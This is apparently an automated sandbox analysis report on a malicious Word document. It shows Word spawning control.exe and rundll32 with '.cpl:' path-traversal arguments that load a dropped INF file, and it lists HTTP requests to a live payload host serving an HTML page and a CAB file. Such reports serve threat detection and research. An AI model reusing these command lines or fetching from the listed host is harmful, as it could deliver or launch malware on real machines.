Play interactive tour

Edit tour

Windows Analysis Report A Letter before court 4.docx

Overview

General Information

Sample Name:	A Letter before court 4.docx
Analysis ID:	476188
MD5:	1d2094ce85d66878ee079185e2761beb
SHA1:	53b31e513d8e23e30b7f133d4504ca7429f0e1fe
SHA256:	938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52
Tags:	docxdodefoh_comhidusi_com
Infos:
Most interesting Screenshot:

Detection

Score:	72
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Document exploit detected (drops PE files)

Multi AV Scanner detection for dropped file

Office process drops PE file

Document exploit detected (process start blacklist hit)

Drops files with a non-matching file extension (content does not match file extension)

Queries the volume information (name, serial number etc) of a device

Potential document exploit detected (unknown TCP traffic)

Drops PE files

Tries to load missing DLLs

Uses a known web browser user agent for HTTP communication

Sigma detected: Suspicious Rundll32 Activity

Internet Provider seen in connection with other malware

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Found dropped PE file which has not been started or loaded

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

WINWORD.EXE (PID: 4020 cmdline: 'C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE' /Automation -Embedding MD5: 0B9AB9B9C4DE429473D6450D4297A123)

MSOSYNC.EXE (PID: 5216 cmdline: C:\Program Files (x86)\Microsoft Office\Office16\MsoSync.exe MD5: EA19F4A0D18162BE3A0C8DAD249ADE8C)

control.exe (PID: 5512 cmdline: 'C:\Windows\System32\control.exe' '.cpl:123', MD5: 40FBA3FBFD5E33E0DE1BA45472FDA66F)

rundll32.exe (PID: 3920 cmdline: 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL '.cpl:123', MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 5588 cmdline: C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL '.cpl:123', MD5: 73C519F050C20580F8A62C849D49215A)

control.exe (PID: 4456 cmdline: 'C:\Windows\System32\control.exe' '.cpl:123', MD5: 40FBA3FBFD5E33E0DE1BA45472FDA66F)

rundll32.exe (PID: 5184 cmdline: 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL '.cpl:123', MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 6212 cmdline: C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL '.cpl:123', MD5: 73C519F050C20580F8A62C849D49215A)

control.exe (PID: 720 cmdline: 'C:\Windows\System32\control.exe' '.cpl:123', MD5: 40FBA3FBFD5E33E0DE1BA45472FDA66F)

rundll32.exe (PID: 4664 cmdline: 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL '.cpl:123', MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 6276 cmdline: C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL '.cpl:123', MD5: 73C519F050C20580F8A62C849D49215A)

control.exe (PID: 5636 cmdline: 'C:\Windows\System32\control.exe' '.cpl:123', MD5: 40FBA3FBFD5E33E0DE1BA45472FDA66F)

rundll32.exe (PID: 6196 cmdline: 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL '.cpl:123', MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 6320 cmdline: C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL '.cpl:123', MD5: 73C519F050C20580F8A62C849D49215A)

control.exe (PID: 4912 cmdline: 'C:\Windows\System32\control.exe' '.cpl:123', MD5: 40FBA3FBFD5E33E0DE1BA45472FDA66F)

rundll32.exe (PID: 6228 cmdline: 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL '.cpl:123', MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 6380 cmdline: C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL '.cpl:123', MD5: 73C519F050C20580F8A62C849D49215A)

control.exe (PID: 780 cmdline: 'C:\Windows\System32\control.exe' '.cpl:123', MD5: 40FBA3FBFD5E33E0DE1BA45472FDA66F)

rundll32.exe (PID: 6296 cmdline: 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL '.cpl:123', MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 6436 cmdline: C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL '.cpl:123', MD5: 73C519F050C20580F8A62C849D49215A)

control.exe (PID: 6168 cmdline: 'C:\Windows\System32\control.exe' '.cpl:123', MD5: 40FBA3FBFD5E33E0DE1BA45472FDA66F)

rundll32.exe (PID: 6364 cmdline: 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL '.cpl:123', MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 6492 cmdline: C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL '.cpl:123', MD5: 73C519F050C20580F8A62C849D49215A)

control.exe (PID: 6248 cmdline: 'C:\Windows\System32\control.exe' '.cpl:123', MD5: 40FBA3FBFD5E33E0DE1BA45472FDA66F)

rundll32.exe (PID: 6448 cmdline: 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL '.cpl:123', MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 6572 cmdline: C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL '.cpl:123', MD5: 73C519F050C20580F8A62C849D49215A)

control.exe (PID: 6348 cmdline: 'C:\Windows\System32\control.exe' '.cpl:123', MD5: 40FBA3FBFD5E33E0DE1BA45472FDA66F)

rundll32.exe (PID: 6592 cmdline: 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL '.cpl:123', MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

control.exe (PID: 6408 cmdline: 'C:\Windows\System32\control.exe' '.cpl:../../../AppData/Local/Temp/Low/championship.inf', MD5: 40FBA3FBFD5E33E0DE1BA45472FDA66F)

rundll32.exe (PID: 6628 cmdline: 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL '.cpl:../../../AppData/Local/Temp/Low/championship.inf', MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

control.exe (PID: 6484 cmdline: 'C:\Windows\System32\control.exe' '.cpl:../../../AppData/Local/Temp/championship.inf', MD5: 40FBA3FBFD5E33E0DE1BA45472FDA66F)

rundll32.exe (PID: 6656 cmdline: 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL '.cpl:../../../AppData/Local/Temp/championship.inf', MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

control.exe (PID: 6532 cmdline: 'C:\Windows\System32\control.exe' '.cpl:../../../../AppData/Local/Temp/Low/championship.inf', MD5: 40FBA3FBFD5E33E0DE1BA45472FDA66F)

control.exe (PID: 6620 cmdline: 'C:\Windows\System32\control.exe' '.cpl:../../../../AppData/Local/Temp/championship.inf', MD5: 40FBA3FBFD5E33E0DE1BA45472FDA66F)

cleanup

Malware Configuration

No configs have been found

Yara Overview

No yara matches

Sigma Overview

System Summary:

Sigma detected: Suspicious Rundll32 Activity

Show sources

Source: Process started

Author: juju4, Jonhnathan Ribeiro, oscd.community: Data: Command: 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL '.cpl:123',, CommandLine: 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL '.cpl:123',, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\rundll32.exe, NewProcessName: C:\Windows\SysWOW64\rundll32.exe, OriginalFileName: C:\Windows\SysWOW64\rundll32.exe, ParentCommandLine: 'C:\Windows\System32\control.exe' '.cpl:123',, ParentImage: C:\Windows\SysWOW64\control.exe, ParentProcessId: 5512, ProcessCommandLine: 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL '.cpl:123',, ProcessId: 3920

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\championship.inf	Virustotal: Detection: 36%			Perma Link
Source: C:\Users\user\AppData\Local\Temp\championship.inf	ReversingLabs: Detection: 22%

Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

File opened: C:\Windows\SysWOW64\MSVCR100.dll

Jump to behavior

Software Vulnerabilities:

Document exploit detected (drops PE files)

Show sources

Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

File created: championship.inf.0.dr

Jump to dropped file

Document exploit detected (process start blacklist hit)

Show sources

Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

Process created: C:\Windows\SysWOW64\control.exe

Source: global traffic

TCP traffic: 192.168.2.3:49706 -> 23.106.160.25:80

Source: global traffic

DNS query: name: hidusi.com

Source: global traffic

TCP traffic: 192.168.2.3:49707 -> 23.106.160.25:80

Source: winword.exe

Memory has grown: Private usage: 0MB later: 78MB

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 1042 WEB-IIS view source via translate header 192.168.2.22:49167 -> 23.106.160.25:80
Source: Traffic	Snort IDS: 1042 WEB-IIS view source via translate header 192.168.2.22:49170 -> 23.106.160.25:80
Source: Traffic	Snort IDS: 100000132 COMMUNITY WEB-MISC Proxy Server Access 23.106.160.25:80 -> 192.168.2.22:49168

Source: global traffic	HTTP traffic detected: GET /e8c76295a5f9acb7/side.html HTTP/1.1Accept: /User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; ms-office; MSOffice 16)Accept-Encoding: gzip, deflateHost: hidusi.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /e8c76295a5f9acb7/side.html HTTP/1.1Accept: /User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; ms-office; MSOffice 16)Accept-Encoding: gzip, deflateHost: hidusi.comIf-Modified-Since: Wed, 01 Sep 2021 12:29:06 GMTIf-None-Match: "18f1-5caee365a20d1-gzip"Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /e8c76295a5f9acb7/ministry.cab HTTP/1.1Accept: /Referer: http://hidusi.com/e8c76295a5f9acb7/side.htmlAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: hidusi.comConnection: Keep-Alive

Source: Joe Sandbox View

ASN Name: LEASEWEB-USA-SFO-12US LEASEWEB-USA-SFO-12US

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 02 Sep 2021 03:59:43 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Wed, 01 Sep 2021 12:29:06 GMTETag: "18f1-5caee365a20d1-gzip"Accept-Ranges: bytesVary: Accept-EncodingContent-Encoding: gzipContent-Length: 1757Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/htmlData Raw: 1f 8b 08 00 00 00 00 00 00 03 dd 59 69 4f db 48 18 fe de 5f 41 d9 0f 8e 37 97 cf 8c dd e0 4a 14 e8 16 2d 88 96 d2 2d ab 28 aa e6 f2 c6 6d 12 7b 13 87 d0 45 fc f7 7d 67 c6 67 48 42 da 52 69 b5 02 79 ec 99 f7 78 de 73 c6 ce c1 f3 e3 8b a3 ab 3f df 9e ec 8d d2 c9 f8 e5 b3 03 35 ec 1d 8c 38 66 30 ee 1d 4c 78 8a 61 31 4d da fc ef 45 74 13 ec 9f dc 26 d1 8c cf f7 f7 68 3c 4d f9 34 0d f6 db e6 fe 7a d2 eb f6 87 c3 f6 51 3c 49 70 1a 91 31 af b0 9c 9e 04 a6 e4 3a e8 66 9a 0e 48 cc be 4a 31 73 3a 8b 92 f4 e5 b3 1b 3c db c3 c6 27 e3 d6 b4 50 18 0c 34 d3 b2 b5 96 66 f7 5c df b5 7e 3f 9f 5f be bb 82 c7 34 ba e1 d7 30 76 cf 62 b8 76 ba 1d f9 0f b7 99 aa e3 98 2e 26 30 c2 4c 92 1c c3 f5 18 8b 7b 3a 8e e7 1c c6 43 9a 46 30 cc f8 24 be e1 47 a3 68 cc e0 69 32 7e 0d d7 e5 2c 4a b9 94 79 08 57 9c 62 21 35 1a cb 29 a9 41 00 86 61 ce d3 c3 34 9d 45 64 21 c9 7f b9 e1 b3 79 14 4f 03 b7 65 88 3f 41 31 17 3a a2 70 86 27 82 02 39 1e 32 bc 59 38 f9 70 f5 05 1e 59 86 f0 64 cc 33 a0 e3 d7 4a cd 38 a6 e0 b8 78 0a b7 a6 eb 03 cf e8 d5 1f 97 e9 42 a0 51 e6 be 97 9e aa c8 10 96 e1 f1 b8 34 ff 63 34 65 f1 12 9e f9 24 11 c6 97 74 17 e4 b3 f0 c9 2c 4e e3 f4 6b 22 d5 85 02 26 f9 cc 69 2a cd 9a 0a 5f e0 24 81 9b dc 33 67 f1 b2 4b 47 78 92 00 aa f9 28 4a 3a d1 34 84 69 91 34 a1 c2 6c 02 52 cb 49 ce c8 69 22 d4 fe 76 22 82 94 ac 63 32 4d c3 9f 9f c7 d7 d7 d7 79 e0 0e 95 28 01 a5 7b a5 4c 11 7e 36 97 ff bc 4b 8e 2e 84 11 12 d9 5a 08 ae 65 39 a6 cb 26 d1 e5 07 25 26 4d 5e 74 bb a3 88 2d e6 51 87 c6 93 2e f7 28 ea 59 be 8b dd d0 c7 94 a0 ee 24 9a 46 f3 74 f6 b5 43 31 01 0e cf b3 2d 63 f9 f1 af 31 7d 05 4f d7 e7 67 6f 40 c4 25 24 32 9f 4b b7 3e 54 79 28 d1 1c bf e0 8c 50 1b 39 b4 ed 22 db 68 3b b6 85 db c4 25 5e 9b 71 df 09 0d e2 22 cb 44 40 18 83 23 61 80 3c 87 eb 9b ab f3 b3 32 e0 60 3c 5c 21 91 85 91 a6 61 bd e6 6f 0f 3f 1e 69 c3 7e b8 98 52 91 01 59 1d b8 9c 36 60 b4 2d 9f 11 dc 82 3b a7 67 1a 88 ea 77 33 9e 2e 66 15 aa 20 67 6c 64 e5 83 dc 56 b6 c4 5c fd ae 98 0c 8a bb b6 71 8b 71 5f 94 1c 4c b9 18 21 83 06 45 f1 0d 0a b2 61 3f 53 55 50 f5 ef 5b db c1 f5 ef 1b 55 34 ae ef 7b 2e 93 68 10 e1 cc d3 ef 32 a5 26 c7 d4 37 82 42 58 7f 09 49 c7 1b cf 9f 0f 86 fa 1d c4 29 a7 b3 42 c4 2d 16 24 78 36 e7 a7 d3 b4 51 b0 36 8c 5b ca 75 bd b9 76 05 14 e9 bf ae e7 71 36 f1 50 1f 78 da 6b 97 30 db c4 44 cc 8d e2 28 ac ac 17 47 37 32 31 ac eb fd 28 6c 94 86 07 41 e9 3b 32 e3 f8 4b 9f 8f e7 7c af 70 ed 40 4b 16 f3 91 36 6c 54 66 20 6b c3 14 a6 40 d6 3d f4 14 3a 92 91 72 70 68 72 99 0d bb 71 de df 37 8a 94 68 01 09 0b 91 a9 b7 8a e0 16 91 b4 38 b7 0c 54 46 52 04 db 42 3e c7 24 58 ca 7e 24 a3 4f 7c 9b a1 a0 58 1a 14 8c c2 89 8e 3e 14 44 34 74 b1 b5 89 c6 d3 87 83 4
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 02 Sep 2021 03:59:44 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Wed, 01 Sep 2021 12:29:06 GMTETag: "18f1-5caee365a20d1-gzip"Accept-Ranges: bytesVary: Accept-EncodingContent-Encoding: gzipContent-Length: 1757Keep-Alive: timeout=5, max=97Connection: Keep-AliveContent-Type: text/htmlData Raw: 1f 8b 08 00 00 00 00 00 00 03 dd 59 69 4f db 48 18 fe de 5f 41 d9 0f 8e 37 97 cf 8c dd e0 4a 14 e8 16 2d 88 96 d2 2d ab 28 aa e6 f2 c6 6d 12 7b 13 87 d0 45 fc f7 7d 67 c6 67 48 42 da 52 69 b5 02 79 ec 99 f7 78 de 73 c6 ce c1 f3 e3 8b a3 ab 3f df 9e ec 8d d2 c9 f8 e5 b3 03 35 ec 1d 8c 38 66 30 ee 1d 4c 78 8a 61 31 4d da fc ef 45 74 13 ec 9f dc 26 d1 8c cf f7 f7 68 3c 4d f9 34 0d f6 db e6 fe 7a d2 eb f6 87 c3 f6 51 3c 49 70 1a 91 31 af b0 9c 9e 04 a6 e4 3a e8 66 9a 0e 48 cc be 4a 31 73 3a 8b 92 f4 e5 b3 1b 3c db c3 c6 27 e3 d6 b4 50 18 0c 34 d3 b2 b5 96 66 f7 5c df b5 7e 3f 9f 5f be bb 82 c7 34 ba e1 d7 30 76 cf 62 b8 76 ba 1d f9 0f b7 99 aa e3 98 2e 26 30 c2 4c 92 1c c3 f5 18 8b 7b 3a 8e e7 1c c6 43 9a 46 30 cc f8 24 be e1 47 a3 68 cc e0 69 32 7e 0d d7 e5 2c 4a b9 94 79 08 57 9c 62 21 35 1a cb 29 a9 41 00 86 61 ce d3 c3 34 9d 45 64 21 c9 7f b9 e1 b3 79 14 4f 03 b7 65 88 3f 41 31 17 3a a2 70 86 27 82 02 39 1e 32 bc 59 38 f9 70 f5 05 1e 59 86 f0 64 cc 33 a0 e3 d7 4a cd 38 a6 e0 b8 78 0a b7 a6 eb 03 cf e8 d5 1f 97 e9 42 a0 51 e6 be 97 9e aa c8 10 96 e1 f1 b8 34 ff 63 34 65 f1 12 9e f9 24 11 c6 97 74 17 e4 b3 f0 c9 2c 4e e3 f4 6b 22 d5 85 02 26 f9 cc 69 2a cd 9a 0a 5f e0 24 81 9b dc 33 67 f1 b2 4b 47 78 92 00 aa f9 28 4a 3a d1 34 84 69 91 34 a1 c2 6c 02 52 cb 49 ce c8 69 22 d4 fe 76 22 82 94 ac 63 32 4d c3 9f 9f c7 d7 d7 d7 79 e0 0e 95 28 01 a5 7b a5 4c 11 7e 36 97 ff bc 4b 8e 2e 84 11 12 d9 5a 08 ae 65 39 a6 cb 26 d1 e5 07 25 26 4d 5e 74 bb a3 88 2d e6 51 87 c6 93 2e f7 28 ea 59 be 8b dd d0 c7 94 a0 ee 24 9a 46 f3 74 f6 b5 43 31 01 0e cf b3 2d 63 f9 f1 af 31 7d 05 4f d7 e7 67 6f 40 c4 25 24 32 9f 4b b7 3e 54 79 28 d1 1c bf e0 8c 50 1b 39 b4 ed 22 db 68 3b b6 85 db c4 25 5e 9b 71 df 09 0d e2 22 cb 44 40 18 83 23 61 80 3c 87 eb 9b ab f3 b3 32 e0 60 3c 5c 21 91 85 91 a6 61 bd e6 6f 0f 3f 1e 69 c3 7e b8 98 52 91 01 59 1d b8 9c 36 60 b4 2d 9f 11 dc 82 3b a7 67 1a 88 ea 77 33 9e 2e 66 15 aa 20 67 6c 64 e5 83 dc 56 b6 c4 5c fd ae 98 0c 8a bb b6 71 8b 71 5f 94 1c 4c b9 18 21 83 06 45 f1 0d 0a b2 61 3f 53 55 50 f5 ef 5b db c1 f5 ef 1b 55 34 ae ef 7b 2e 93 68 10 e1 cc d3 ef 32 a5 26 c7 d4 37 82 42 58 7f 09 49 c7 1b cf 9f 0f 86 fa 1d c4 29 a7 b3 42 c4 2d 16 24 78 36 e7 a7 d3 b4 51 b0 36 8c 5b ca 75 bd b9 76 05 14 e9 bf ae e7 71 36 f1 50 1f 78 da 6b 97 30 db c4 44 cc 8d e2 28 ac ac 17 47 37 32 31 ac eb fd 28 6c 94 86 07 41 e9 3b 32 e3 f8 4b 9f 8f e7 7c af 70 ed 40 4b 16 f3 91 36 6c 54 66 20 6b c3 14 a6 40 d6 3d f4 14 3a 92 91 72 70 68 72 99 0d bb 71 de df 37 8a 94 68 01 09 0b 91 a9 b7 8a e0 16 91 b4 38 b7 0c 54 46 52 04 db 42 3e c7 24 58 ca 7e 24 a3 4f 7c 9b a1 a0 58 1a 14 8c c2 89 8e 3e 14 44 34 74 b1 b5 89 c6 d3 87 83 4a

Source: YQ8Q39W5.HTM.0.dr	String found in binary or memory: http://hidusi.com/e8c76295a5f9acb7/ministry.cab
Source: YQ8Q39W5.HTM.0.dr	String found in binary or memory: http://hidusi.com/e8c76295a5f9acb7/ministry.cab)
Source: ~WRS{DDA3C8BF-F833-4E25-B392-A0D975DFB1BC}.tmp.0.dr	String found in binary or memory: http://hidusi.com/e8c76295a5f9acb7/side.html
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: http://olkflt.edog.officeapps.live.com/olkflt/outlookflighting.svc/api/glides
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: http://weather.service.msn.com/data.aspx
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/app/acquisitionlogging
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/app/download
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/preinstalled
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/unauthenticated
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://addinslicensing.store.office.com/commerce/query
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://analysis.windows.net/powerbi/api
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://api.aadrm.com/
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://api.addins.omex.office.net/appinfo/query
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://api.addins.omex.office.net/appstate/query
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://api.addins.store.office.com/app/query
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://api.cortana.ai
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://api.diagnostics.office.com
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://api.diagnosticssdf.office.com
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://api.microsoftstream.com/api/
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://api.office.net
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://api.onedrive.com
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://api.powerbi.com/beta/myorg/imports
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://api.powerbi.com/v1.0/myorg/datasets
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://api.powerbi.com/v1.0/myorg/groups
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://apis.live.net/v5.0/
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://arc.msn.com/v4/api/selection
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://asgsmsproxyapi.azurewebsites.net/
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://augloop.office.com
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://augloop.office.com/v2
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://autodiscover-s.outlook.com/
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://cdn.entity.
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/stat/images/OneDriveUpsell.png
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSignUpUpsell
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSyncClientUpsell
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://client-office365-tas.msedge.net/ab
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://clients.config.office.net/
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/android/policies
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/ios
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/mac
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/tenantassociationkey
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://cloudfiles.onenote.com/upload.aspx
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://config.edge.skype.com
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://config.edge.skype.com/config/v1/Office
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://config.edge.skype.com/config/v2/Office
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://cortana.ai
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://cortana.ai/api
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://cr.office.com
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://dataservice.o365filtering.com
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://dataservice.o365filtering.com/
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://dev.cortana.ai
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://dev0-api.acompli.net/autodetect
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://devnull.onenote.com
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://directory.services.
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://ecs.office.com/config/v2/Office
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://enrichment.osi.office.net/
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Refresh/v1
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Resolve/v1
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Search/v1
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/StockHistory/v1
Source: 9016AF0D-7AC1-4FEE-A5B8-D20651594FEA.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/ipcheck/v1
